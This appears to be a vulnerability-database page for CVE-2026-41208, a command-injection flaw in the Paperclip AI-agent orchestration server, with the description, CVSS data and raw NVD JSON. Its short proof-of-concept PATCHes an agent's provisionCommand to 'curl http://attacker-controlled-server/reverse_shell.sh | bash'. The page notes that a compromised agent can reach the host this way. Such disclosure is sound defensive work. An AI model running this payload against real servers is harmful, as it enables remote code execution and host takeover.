Security Vulnerability Report
中文
CVE-2026-41208 CVSS 8.8 HIGH

CVE-2026-41208

Published: 2026-04-23 02:16:19
Last Modified: 2026-04-27 15:14:22

Description

Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Versions of @paperclipai/server prior to 2026.416.0 contain a privilege escalation vulnerability that allows an attacker with an Agent API key to execute arbitrary OS commands on the Paperclip server host. An attacker with an agent credential can escalate privileges from the agent runtime to the Paperclip server host. The vulnerability occurs because agents are allowed to update their own adapterConfig via the /agents/:id API endpoint. The configuration field adapterConfig.workspaceStrategy.provisionCommand is later executed by the server runtime. As a result, an attacker controlling an agent credential can inject arbitrary shell commands which are executed by the Paperclip server during workspace provisioning. This breaks the intended trust boundary between agent runtime configuration and server host execution, allowing a compromised or malicious agent to escalate privileges and run commands on the host system. This vulnerability allows remote code execution on the server host. @paperclipai/server version 2026.416.0 fixes the issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:paperclip:paperclipai:*:*:*:*:*:node.js:*:* - VULNERABLE
@paperclipai/server < 2026.416.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC: Malicious command injection via agent configuration update const targetUrl = 'https://target-paperclip-server.com/agents/agent_id_here'; const maliciousCmd = 'curl http://attacker-controlled-server/reverse_shell.sh | bash'; fetch(targetUrl, { method: 'PATCH', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer VALID_AGENT_API_KEY' }, body: JSON.stringify({ adapterConfig: { workspaceStrategy: { provisionCommand: maliciousCmd } } }) }).then(response => console.log('Command injected successfully'));

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41208", "sourceIdentifier": "[email protected]", "published": "2026-04-23T02:16:18.670", "lastModified": "2026-04-27T15:14:22.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Versions of @paperclipai/server prior to 2026.416.0 contain a privilege escalation vulnerability that allows an attacker with an Agent API key to execute arbitrary OS commands on the Paperclip server host. An attacker with an agent credential can escalate privileges from the agent runtime to the Paperclip server host. The vulnerability occurs because agents are allowed to update their own adapterConfig via the /agents/:id API endpoint. The configuration field adapterConfig.workspaceStrategy.provisionCommand is later executed by the server runtime. As a result, an attacker controlling an agent credential can inject arbitrary shell commands which are executed by the Paperclip server during workspace provisioning. This breaks the intended trust boundary between agent runtime configuration and server host execution, allowing a compromised or malicious agent to escalate privileges and run commands on the host system. This vulnerability allows remote code execution on the server host. @paperclipai/server version 2026.416.0 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:paperclip:paperclipai:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.416.0", "matchCriteriaId": "5450D1E5-E18F-4683-AC76-3BB21F14933B"}]}]}], "references": [{"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-265w-rf2w-cjh4", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit", "Mitigation"]}, {"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-265w-rf2w-cjh4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "Exploit", "Mitigation"]}]}}